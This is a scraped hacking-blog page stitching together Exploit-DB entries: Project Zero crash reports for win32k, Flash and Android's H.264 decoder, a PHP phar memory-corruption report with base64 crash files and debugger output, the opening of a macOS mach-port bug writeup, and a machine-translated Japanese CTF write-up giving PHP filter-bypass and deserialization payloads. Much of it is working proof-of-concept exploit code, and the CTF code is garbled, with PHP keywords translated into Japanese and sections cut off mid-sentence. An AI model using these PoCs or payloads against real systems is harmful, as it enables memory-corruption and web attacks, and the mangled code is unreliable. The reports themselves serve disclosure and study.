Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398026

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=686

The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crashes are triggering in multiple different ways (two examples attached).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39647.zip
            

web

1. [強いネットパイオニア]トレジャーハント

競争の質問を配布すると、アクセスリンクは次のとおりです。

1049983-20211223173925616-142118672.jpg

この質問では、情報1と情報2を介して2つのキー値を取得し、key1とkey2を入力してから復号化する必要があります。

Key1のコード監査

「情報1」をクリックして、コード監査であることがわかります。

1049983-20211223173926650-284071638.jpg

完全なソースコードは次のとおりです。

?php

ヘッダー( 'Content-Type:Text/html; charset=utf-8');

error_reporting(0);

highlight_file(__ file__);

関数フィルター($ string){

$ filter_word( 'php'、 'flag'、 'index'、 'key1lhv'、 'source'、 'key'、 'eval'、 'echo'、 '\ $'、 '\('、 '\。'、 'num'、 'html'、 '\/'、 '\、' \、 '\' '' '' '' ' ^

$ filter_phrase='/'.implode('|'、$filter_word).'/';

preg_replace($ filter_phrase、 ''、$ string)を返します。

}

if($ ppp){

Unset($ PPP);

}

$ ppp ['number1']='1';

$ ppp ['number2']='1';

$ ppp ['nunber3']='1';

$ ppp ['number4']='1';

$ ppp ['number5']='1';

抽出($ _ post);

$ num1=filter($ ppp ['number1']);

$ num2=filter($ ppp ['number2']);

$ num3=filter($ ppp ['number3']);

$ num4=filter($ ppp ['number4']);

$ num5=filter($ ppp ['number5']);

if(isset($ num1)is_numeric($ num1)){

die( '非番号');

}

それ以外{

if($ num11024){

エコー「1階」;

if(Isset($ num2)strlen($ num2)=4 intval($ num2 + 1)500000){

エコー「セカンドレベル」;

if(isset($ num3) '4bf21cd'===substr(md5($ num3)、0,7)){

エコー「3階」;

if(!($ num4 0)($ num4==0)($ num4=0)(strlen($ num4)6)(strlen($ num4)8)isset($ num4)){

エコー「4階」;

if(!isset($ num5)||(strlen($ num5)==0))die( 'no');

$ b=json_decode(@$ num5);

if($ y=$ b===null){

if($ y===true){

エコー「5階」;

「key1lhv.php」を含めます。

echo $ key1;

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no111');

}

}

非デジタル

バイパスを必要とするコアコードは次のとおりです。

最初のレイヤー:非純度番号が必要で、1024を超えており、PHPの弱い比較を使用して$ num1=11111aを作成します。

2番目のレイヤー:intval関数(intval()関数を使用して変数の整数値を取得する)をバイパスし、科学的および技術的方法を使用して5未満の長さの制限をバイパスするため、$ num2=9e9とします。

3番目のレイヤー:substr(md5)は、値を特定の値として取得し、md5衝突を実行するスクリプトを書き込み、num3が61823470であると計算し、スクリプトは次のとおりです。

Hashlibをインポートします

def md5_encode(num3):

Hashlib.md5を返す(num3.encode())。hexdigest()[0:7]

範囲のI(60000000,70000000):

num3=md5_encode(str(i))

#print(num3)

num3=='4bf21cd':の場合

印刷(i)

壊す

操作結果は次のとおりです。

1049983-20211223173927160-736402045.jpg

レイヤー4:科学表記バイパス、長さは7、0、num4は0E00000です。

1049983-20211223173927543-1345414535.jpg

レイヤー5:json_decode()関数はJSONエンコード文字列を受け入れ、PHP変数に変換します。 JSONを(非JSON形式で)デコードできない場合、nullを返しますので、num5は1aに等しくなります(任意の文字列で十分です)。

したがって、最終的なペイロード:

PPP [number1]=11111Appp [number2]=9e9ppp [number3]=61823470ppp [number4]=0e00000ppp [number5]=1a

投稿の投稿はkey1を取得します:

key1 {e1e1d3d40573127e9ee0480caf1283d6}}

Key2のスクリプト検索

1.プロンプトメッセージはダウンロードリンクを提供します。

1049983-20211223173927932-601584177.jpg

2。減圧後、Docxファイルの束があります。

1049983-20211223173928426-1779376784.jpg

3.誰かを開くと、それがキャラクターの束であることがわかります。

1049983-20211223173928865-286054451.jpg

4。KEYS KEY2はファイルの1つにあり、実行するスクリプトを書きます。

OSをインポートします

docxをインポートします

範囲(1,20):のIの場合

範囲(1,20):のJの場合

path='./5. {0 }/vr_ {1}'.format(i、j)

files=os.listdir(path)

#print(filepath)

ファイルのファイル:の場合

try:

filename=path+'/'+ファイル

#print(filename)

file=docx.document(filename)

file.paragraphs:のコンテンツの場合

#print(content.text)

content.text:のkey2 {'の場合

print(content.text)

印刷(ファイル名)

壊す

:を除く

合格

操作結果は次のとおりです。

1049983-20211223173929269-581091221.jpg

key2を取得:

key2 {t5fo0od618l91slg6l1l42l3a3ao1nblfss}

元のページでフラグを取得するために送信してください:

1049983-20211223173929623-1155291069.jpg

2. [強いネットパイオニア]ギャンブラー

競争の質問に問題、アクセスアドレスは次のとおりです。1049983-20211223173929968-140881516.jpg

質問のソースコードリマインダーと組み合わせて、Dirsearchを使用してディレクトリをスキャンし、www.zip:1049983-20211223173930415-1982720835.jpg3を見つけました。分解して質問のソースコードを取得します。MetaCharset='utf-8'?php //hintはhint.pherror_reporting(1)にあります。

class start {public $ name='guest'; public $ flag='syst3m(' cat 127.0.0.1/etc/hint ');'; public function __construct(){echo 'あなたが必要だと思います /etc /hint。この前に、ソースコードを表示する必要があります。 }

public function _sayhello(){echo $ this-name; 「OK」を返します。 }

public function __wakeup(){echo 'hi'; $ this-_sayhello(); } public function __get($ cc){echo 'give you flag :'。$ this-flag;戻る ; }}

クラス情報{private $ phoneNumber=123123; public $ promise='I do'; public function __construct(){$ this-promise='私はしません!'; $ return this-promise; }

public function __toString(){return $ this-file ['filename'] -ffiillee ['ffiilleennaammee']; }}

クラスルーム{public $ filename='/flag'; public $ sth_to_set; public $ a='';パブリック関数__get($ name){$ function=$ this-a; $ $ function(); } public function get_hint($ file){$ hint=base64_encode(file_get_contents($ file)); echo $ hint;戻る ; }

public function __invoke(){$ content=$ this-get_hint($ this-filename); echo $ content; }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ hi=new start();}?これを見て、それはPHPの敏aserializationの質問だと思いますが、私が以前に学んだ関連する質問は、破壊者の利用ポイントにのみ関与しています。この質問は混乱していたので、私はすぐにCTFでのPHP降下のルーチンを補いました。 PHPマジックメソッドPHPのマジックメソッドの定義は、2つのアンダースコア__から始まるメソッドを呼び出すことです。一般的なものは次のとおりです。__construct:オブジェクトを作成するときにオブジェクトを初期化します。これは、一般に変数に初期値を割り当てるために使用されます。 __Destruct:はコンストラクターとは反対で、オブジェクトが配置されている関数が呼び出された後に実行されます。 __toString:オブジェクトが文字列として使用されるときに呼び出されます。 __sleep:オブジェクトをシリアル化する前にこのメソッドを呼び出します(アレイが必要な配列を返します) __GET:は、アクセス不可能なプロパティからのデータの読み取り__ISSET(): ISSET()またはempty()でempty()を呼び出していないプロパティをトリガーします__unset():トリガー__ __ invoke():の操作をご紹介してください。 https://www.php.net/manual/zh/language.oop5.magic.phpシンプルな例?phpclass a {var $ test='demo'; function __wakeup(){eval($ this-test); }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);分析:ここには1つのクラスAのみ、1つの__wakeup()メソッドのみがあります。次に、次のExpを構築してphpinfo()関数を実行します。phpclass a {var $ test='demo'; function __wakeup(){echo $ this-test; }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);

$ b=new a(); $ b-test='phpinfo();'; $ c=serialize($ b); echo $ c;output:o:1:'A':1: {s3:4:'test '; S:103360'PHPINFO()ペイロード、実行効果は次のとおりです。1049983-20211223173931003-408094937.jpg

ポップチェーンの高度な質問をさらに見てください:php //flagはflag.phperror_reporting(1); class read {public $ var; public function file_get($ value){$ text=base64_encode(file_get_contents($ value)); $ textを返します。 } public function __invoke(){$ content=$ this-file_get($ this-var); echo $ content; }}

クラスショー{public $ source; public $ str; public function __construct($ file='index.php'){$ this-source=$ file; echo $ this-source.'welcome '。' br '; } public function __toString(){return $ this-str ['str'] - source; }

public function _show(){if(preg_match( '/gopher | http | ftp | https | dict | \。\。| file/i'、$ this-source)){die( 'hacker'); } else {highlight_file($ this-source); }}

public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。/i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}}

クラステスト{public $ p; public function __construct(){$ this-p=array(); }

パブリック関数__get($ key){$ function=$ this-p; $ $ function(); }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ show=new show( 'pop3.php'); $ show-_show();} [タイトル分析]この質問では、脱介入を構築することによりflag.phpファイルを読むことが目的であることがわかります。読み取りクラスにはfile_get_contents()関数があり、ショークラスにはhighlight_file()関数があり、ファイルを読み取ります。次に、ターゲットポイントを探しているときに、最後の数行に非正規化関数が存在することがわかります。この関数の実行により、__WakeUp Magicメソッドもトリガーされ、__WakeUp Magicメソッドはショークラスで見ることができます。 1。__wakeupメソッド:public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。\ ./i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}通常の一致する関数preg_match()があります。関数の2番目のパラメーターは文字列である必要があります。ここで、ソースは一致する文字列として使用されます。この時点で、このソースが特定のクラスのオブジェクトである場合、このクラスの__toStringメソッドがトリガーされます。全体を通してコードを読んだ後、__toString Magicメソッドもショークラスにあることがわかります。それから

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611

There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.

A minimal PoC is as follows:

//In main

flash.net.registerClassAlias("bob", myclass);
			
			
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
	
function func(){	
	trace(u.readObject());
	}

// in myclass

static public var u;
		
public function myclass()
{
	u.close();
}

A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=523

The attached file causes a crash in ih264d_process_intra_mb in avc parsing, likely due to incorrect bounds checking in one of the memcpy or memset calls in the method.

The file crashes with the following stack trace in M:

09-08 15:51:01.212  8488  8951 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x0 in tid 8951 (le.h264.decoder)
09-08 15:51:01.313   198   198 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
09-08 15:51:01.313   198   198 F DEBUG   : Build fingerprint: 'google/hammerhead/hammerhead:6.0/MRA58G/2228996:userdebug/dev-keys'
09-08 15:51:01.313   198   198 F DEBUG   : Revision: '0'
09-08 15:51:01.313   198   198 F DEBUG   : ABI: 'arm'
09-08 15:51:01.313   198   198 F DEBUG   : pid: 8488, tid: 8951, name: le.h264.decoder  >>> /system/bin/mediaserver <<<
09-08 15:51:01.313   198   198 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
09-08 15:51:01.317   796   938 W NativeCrashListener: Couldn't find ProcessRecord for pid 8488
09-08 15:51:01.322   198   198 F DEBUG   :     r0 ad7877e0  r1 b21cabf8  r2 00000001  r3 00000220
09-08 15:51:01.322   198   198 E DEBUG   : AM write failed: Broken pipe
09-08 15:51:01.322   198   198 F DEBUG   :     r4 000000c5  r5 0000000a  r6 00000000  r7 00000005
09-08 15:51:01.322   198   198 F DEBUG   :     r8 b3098400  r9 b21cabf8  sl 00000001  fp 00000220
09-08 15:51:01.322   198   198 F DEBUG   :     ip b3099bbc  sp ad7876a0  lr b1c38ab7  pc 00000000  cpsr 200d0010
09-08 15:51:01.329   198   198 F DEBUG   : 
09-08 15:51:01.329   198   198 F DEBUG   : backtrace:
09-08 15:51:01.329   198   198 F DEBUG   :     #00 pc 00000000  <unknown>
09-08 15:51:01.329   198   198 F DEBUG   :     #01 pc 00018ab5  /system/lib/libstagefright_soft_avcdec.so (ih264d_process_intra_mb+2544)
09-08 15:51:01.329   198   198 F DEBUG   :     #02 pc 0000de03  /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_slice+610)
09-08 15:51:01.329   198   198 F DEBUG   :     #03 pc 0000e0b9  /system/lib/libstagefright_soft_avcdec.so (ih264d_recon_deblk_thread+64)
09-08 15:51:01.329   198   198 F DEBUG   :     #04 pc 0003f3e7  /system/lib/libc.so (__pthread_start(void*)+30)
09-08 15:51:01.329   198   198 F DEBUG   :     #05 pc 00019b43  /system/lib/libc.so (__start_thread+6)
09-08 15:51:01.627   198   198 F DEBUG   : 
09-08 15:51:01.627   198   198 F DEBUG   : Tombstone written to: /data/tombstones/tombstone_02

It crashes with the following trace in L:

W/NativeCrashListener( 2256): Couldn't find ProcessRecord for pid 26174
I/DEBUG   ( 6837): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
E/DEBUG   ( 6837): AM write failure (32 / Broken pipe)
I/DEBUG   ( 6837): Build fingerprint: 'google/shamu/shamu:5.1.1/LYZ28K/2168912:user/release-keys'
I/DEBUG   ( 6837): Revision: '33696'
I/DEBUG   ( 6837): ABI: 'arm'
I/DEBUG   ( 6837): pid: 26174, tid: 7029, name: le.h264.decoder  >>> /system/bin/mediaserver <<<
I/DEBUG   ( 6837): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
I/DEBUG   ( 6837):     r0 0000000f  r1 ffffffff  r2 af2e286c  r3 00000007
I/DEBUG   ( 6837):     r4 af2e286c  r5 00000010  r6 00000000  r7 00000000
I/DEBUG   ( 6837):     r8 0d452c00  r9 af2fc9c8  sl a36c81f7  fp 1e1a8a58
I/DEBUG   ( 6837):     ip ffffffff  sp af2e2840  lr 0000000f  pc af2ea8f0  cpsr 800c0010
I/DEBUG   ( 6837): 
I/DEBUG   ( 6837): backtrace:
I/DEBUG   ( 6837):     #00 pc 000078f0  /system/lib/libstagefright_soft_h264dec.so
I/DEBUG   ( 6837):     #01 pc 0000000d  <unknown>
I/DEBUG   ( 6837): 
I/DEBUG   ( 6837): Tombstone written to: /data/tombstones/tombstone_09

To reproduce the issue, download the attached file, and wait for it to be thumbnailed. This can be triggered by opening the downloads folder in the Photos application.

Reported to Android here: https://code.google.com/p/android/issues/detail?id=185644


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39651.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip
            
# Exploit Title: Invalid memory write in phar on filename with \0 in name
# Date: 2016-03-19
# Exploit Author: @vah_13
# Vendor Homepage: https://secure.php.net/
# Software Link: https://github.com/php/php-src
# Version: 5.5.33
# Tested on: Linux



Test script:
---------------
cat test.php
-------------------
<?php
$testfile = file_get_contents($argv[1]);
try {
    $phar = new Phar($testfile);
    $phar['index.php'] = '<?php echo "https://twitter.com/vah_13 ?>';
    $phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
        print $e;
}?>
----------------------------------------------------------------------------------

PoC 1

root@TZDG001:/tmp/data2# base64 ret/crash13
CkTJu4AoZHKCxhC7KlDNp2g5Grx7JE092+gDAADJVR1EZS8vL/oAAPovLy8v5y8vLy9lZWVlZWVl
DAwMC+MMDAwMDM4MDAwgBwwMDAwMDAxQDC8uLi8jLy88Ly8u+C8vLxERERERERERpXRDbnQgdGhh
dCBtVnJrV3h4eHh4eNt4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4ePh4Ly8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLkYvLy8vLy8vLy8vLy9kJy8vLy8vLy8vLy8v8+TzMZovLysvLy8vL3l5eXl5
eXl5eXkpIHsEAAYgICAveHh4eHh4eHh4eAF4AAJ4eP8vIExvYWQgY29tbWFuZChTgG5lIHV0aWxp
dHkKICAgIGluY2yKZGUuLi4uLi4uLi4uPCYuLi4ucG1kLnBoYXIudmVKCiAgJCAvLyBSdegDIGxp
bmUgTW50ZXJmYWxlCiAgIBxleGkAAP//SFBNRFxUZXh0VUl5Q29tbWFuZAAANwAAAHNyY1Rf/39N
UElMRVIodjsgPz4MChAAAAANAgAAEP//+QEAAAAAAAAiAAAqAAAAlnJjL21haW4vlA8uLlEvci8u
LhAA2GVzZXRzL2NsZWFucipeTUxSZW5kZXLJYEC2IQAAAABjb3JlrgAAAAAAI2OcwrYAAAAAAA0A
NwAAAHMASRwAc2V0cy91bndzcmMAnjgjW7gwgAAAcmMAAgAAADN1bGVzZXRzL2MgAAAAb///f/9p
YWwueG1s4BIAAB+u4VZzcmMvbWFpbi9yZXNvdXJpZ24ueABzcmMvbQA9dr2itiEASRyXl5eXl5eX
l5etl5eXlwAMc3JjL21hW24v6Bvzb3VyY2VzL3J1//+AAHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
dHR0dHR0WWV0cy9uYRwcMBwcHBwcHBwcAB+u4TSoCwD1A3lvdXJjZXMvdmVsb2Qxmi9LZ01yAB+u
4RgAACCu4VbjDy5nLnhtbP8vAC4uLjwmLnh4eHh4eHh4eHh4+HgZLy8vLi4ucG1kLnBoL3Jlc291
cmNjZXNzcgCAAAAuGnVzc3IvLg0AAHFF7BMAc3JjL/9haW4vcGhwL1BIUE1EL1BhcnMnJycnJycn
JycnJycnJyfnAAAKQ5bxci5waHBtGAAAH67hGAAAH67hVuMPLi5RLy8vLy8vc3JW4QcAANevurC2
IQAAAAcAACwvdXNyLy4uL1KHAK78Vm4vcGhwL1BIUE1EL1JlbmRlcmVyKl5NTFJlbmRlcslgQLYh
AAAAAAAAGwABAHNyYy9tYWluL3BoNy9QSFBNRC9SdVRlLnCAcDIYAAAfruEAAHNyYy9tYWluL3AA
iy0AAABzcmMAAFeu4VYwCAAAPXa9oi8vLy8vLy8vLy8vLy8vLy8vL28v8+TzOoAAAGhwL1D/CzpE
ZXZlbG9kMZovbmdNZXRob2QQcGiKlgwAIAAAAFb8BQAAI2OcwrYhAAAAACAANwAAAGNyYy9tYc7O
zs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4AEa7hVnNyYy+A////L9YhzLYhAADg////MXBo
cC9QSFBNRC9PdW1hf24vcGhwL1BIUGFEUFBQUFBQUFByYy9tYWluL3BocC9QSFBNRC9SdWxML0Rl
c2lnZy9Ub29PYW55TWV0aG9kfy4fruFWYy9tYWluL3BocC9QSFBNRC9SdWxlL0Rlc2lnbi8vRGV2
ZWxvZFxlbnRDbwMAAGMvbQA9dr2itiEASRwAcG1kLnARruFWjwUF//8FcIWYAAIAAAAvLi4v////
/3JILi4vLi91c3IvLi4AADYAAABecmMvUEhQTUQvUnVsZS9EZXNpZ1svV2VpAGhwAAAAc3JjLy8v
LwAAAQDk8zGaLy//L1J1bGUvRJCQkJBAkJCQkJDQkJBzkJCQkJCQkJCQkJCQkJCQkG50cm9w6HAu
LgAAAQAuLi4uLi4uLi4uL1BIUE1EL091bWFpdi9waHAvUEhQTURlcgAEQ2hpbGRyZW4ucGhwbQsA
AB+u4VZ+BQAAgLP4+7Yh3////wAOAAAfruxWbQYAADplbi4vdf//Ly4u5i4vdQBkHwAD6AAD6AAN
ADcuLhAA2DUAAAAyAAAAc3JkLy8uLi8uL1Jzci4vdXNycGguUS8vLy9/AAAAL3Vzci+uQi8uL3Vz
ci8vLi98c3IvLhciLi91c3IvLi4vdXOALy4uL/////9ldHMvYyAAAABv//9//2lhbC54tbW1tbW1
tbW1tbW1vABjL+ZJTnUgZC4vc5QPAAAEAHIvLi4vdXNyLy4uLy4vdXNyLy4AZC4vAQAAAC4uL3UQ
AC8uLi8uL3Vzby4vdXNyDy4uUS8vLy8vL3NyLy4vc3IvLi4odXNyAAIAAC4vdXNzci8uLi91e3Iv
rkIvLmRvci9hdRAA2DVXu7YhABcuL3Vzci8uAS8u


(gdb) r  test.php ret/crash13
Starting program: /tmp/php-7.0.4/sapi/cli/php test.php ret/crash13
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
zend_string_init (persistent=0, len=2, str=0x121a64c "->") at
/tmp/php-7.0.4/Zend/zend_string.h:157
157    zend_string *ret = zend_string_alloc(len, persistent);
(gdb) i r
rax            0xae6572  11429234
rbx            0x7fffffffa880  140737488332928
rcx            0x64c  1612
rdx            0x2  2
rsi            0x3  3
rdi            0xae658a  11429258
rbp            0x2  0x2
rsp            0x7fffffffa7e0  0x7fffffffa7e0
r8             0xfffffffffffffffb  -5
r9             0x1  1
r10            0x3  3
r11            0x1214fc0  18960320
r12            0x1206b7a  18901882
r13            0x4  4
r14            0x121a64c  18982476
r15            0x7fffffffa880  140737488332928
rip            0xd531b4  0xd531b4 <add_assoc_string_ex+116>
eflags         0x10206  [ PF IF RF ]
cs             0x33  51
ss             0x2b  43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0

*****************************************************************

PoC 2

root@dns:~/php-src# base64 ./bck_out/6648
Ly4vdXNyLy4uLy4vdXNy4uLi4uLi4uLi4uLi4uLi4uLi4uLit7e3t7dhI1VmbH8AIGdsb1Rh/39i
b25ziGFudCB0AYCAIG1QX1CKRQAAgABFQVMsJywgJ3BoYXInKXNfLy4uLy4vU3NyLy4uL31zci8u
LjwuL3Vzci8ubWFxUGhhciggJ3Bokm1kLnBoYXIAAAB/CgovL4iInoiIiIiIiIh1Li9//+ggQ29u
ZmlndXJcB2lCY2x1ZC91c3IvLoiJiIiIiKKIiIiIXFxcXFxHXFxcXFxcXFxcXFxciA0uL3VzcmUg
cC8uLi91c3IvLi4uL3MQLy4ULxEvgHNyNiBpbmNsdWQv9G8gdXNcIHRoaXMgcGhhctlzZXRfaW5j
iYgmMSYmJiY4/e3t7WFyI2VmaW5lIGdsb1T/FhYWFhYWFhYWFhYWFhYWFhYWFhYWaGFyJyk7Co5k
ZV9wYXRoKCkpOxYKaWYgKGlzjn+UKCRhcmV2KSAmJiByZWEvdXNyLy4QLy4vdXNyLy4uL31zci8u
LjwuL3Vzci8u5i91c3IvLi4vLi91c3IuLj0ndXNyLy4uEADJci8uJi8uL3VzEC9AEhwuL3NyLy4u
L3Vzci8uLi8uL2lziz4uLi8uL3Vzci8oLi91bmNsdWQvdVNyLy6IiIikiIiIcwAgLi5y3zouLy4v
JiYmJlMmJiYmOBDt7e0=


./bck_out/6648

==4103== Source and destination overlap in memcpy(0x6e5d800, 0x6e5d798, 291)
==4103==    at 0x4C2D75D: memcpy@@GLIBC_2.14 (vg_replace_strmem.c:915)
==4103==    by 0x6AD1B5: _estrdup (zend_alloc.c:2558)
==4103==    by 0x6880FD: php_stream_display_wrapper_errors (streams.c:152)
==4103==    by 0x68AE4B: _php_stream_opendir (streams.c:1994)
==4103==    by 0x5E986A: spl_filesystem_dir_open (spl_directory.c:236)
==4103==    by 0x5ED77F: spl_filesystem_object_construct (spl_directory.c:724)
==4103==    by 0x6C1655: zend_call_function (zend_execute_API.c:878)
==4103==    by 0x6EBF92: zend_call_method (zend_interfaces.c:103)
==4103==    by 0x5A44A8: zim_Phar___construct (phar_object.c:1219)
==4103==    by 0x75D143: ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER
(zend_vm_execute.h:1027)
==4103==    by 0x70CFBA: execute_ex (zend_vm_execute.h:423)
==4103==    by 0x76D496: zend_execute (zend_vm_execute.h:467)
==4103==
==4103== Invalid read of size 8
==4103==    at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
==4103==    by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
==4103==    by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
==4103==    by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
==4103==    by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
==4103==    by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
==4103==    by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
==4103==    by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
==4103==    by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
==4103==    by 0x6E8AA6: zend_fetch_debug_backtrace
(zend_builtin_functions.c:2670)
==4103==    by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
==4103==    by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
==4103==    by 0x429178: zend_throw_exception (zend_exceptions.c:877)
==4103==    by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
==4103==    by 0x42639C: php_error_cb (main.c:1041)
==4103==    by 0x427F4B: zend_error (zend.c:1163)
==4103==    by 0x426FFD: php_verror (main.c:897)
==4103==    by 0x427306: php_error_docref1 (main.c:921)
==4103==  Address 0x5c5c5c5c5c5c5c5c is not stack'd, malloc'd or
(recently) free'd
==4103==
==4103==
==4103== Process terminating with default action of signal 11 (SIGSEGV)
==4103==  General Protection Fault
==4103==    at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
==4103==    by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
==4103==    by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
==4103==    by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
==4103==    by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
==4103==    by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
==4103==    by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
==4103==    by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
==4103==    by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
==4103==    by 0x6E8AA6: zend_fetch_debug_backtrace
(zend_builtin_functions.c:2670)
==4103==    by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
==4103==    by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
==4103==    by 0x429178: zend_throw_exception (zend_exceptions.c:877)
==4103==    by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
==4103==    by 0x42639C: php_error_cb (main.c:1041)
==4103==    by 0x427F4B: zend_error (zend.c:1163)
==4103==    by 0x426FFD: php_verror (main.c:897)
==4103==    by 0x427306: php_error_docref1 (main.c:921)
Segmentation fault

Program received signal SIGSEGV, Segmentation fault. zend_mm_alloc_small
(size=<optimized out>, bin_num=16, heap=0x7ffff6000040) at
/root/php_bck/Zend/zend_alloc.c:1291 1291 heap->free_slot[bin_num] =
p->next_free_slot; (gdb) i r rax 0x5c5c5c5c5c5c5c5c 6655295901103053916 rbx
0x8 8 rcx 0x10 16 rdx 0x7ffff60000c0 140737320583360 rsi 0x10 16 rdi 0x120
288 rbp 0x7ffff6000040 0x7ffff6000040 rsp 0x7fffffffa230 0x7fffffffa230 r8
0xf74460 16204896 r9 0x7ffff6013170 140737320661360 r10 0x0 0 r11 0x101 257
r12 0x7ffff605c658 140737320961624 r13 0x7ffff605c640 140737320961600 r14
0x7ffff60561f8 140737320935928 r15 0x8439b8 8665528 rip 0x6acec3 0x6acec3
<_emalloc+115> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0
es 0x0 0 fs 0x0 0 gs 0x0 0


https://bugs.php.net/bug.php?id=71860

https://twitter.com/vah_13

https://twitter.com/ret5et
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
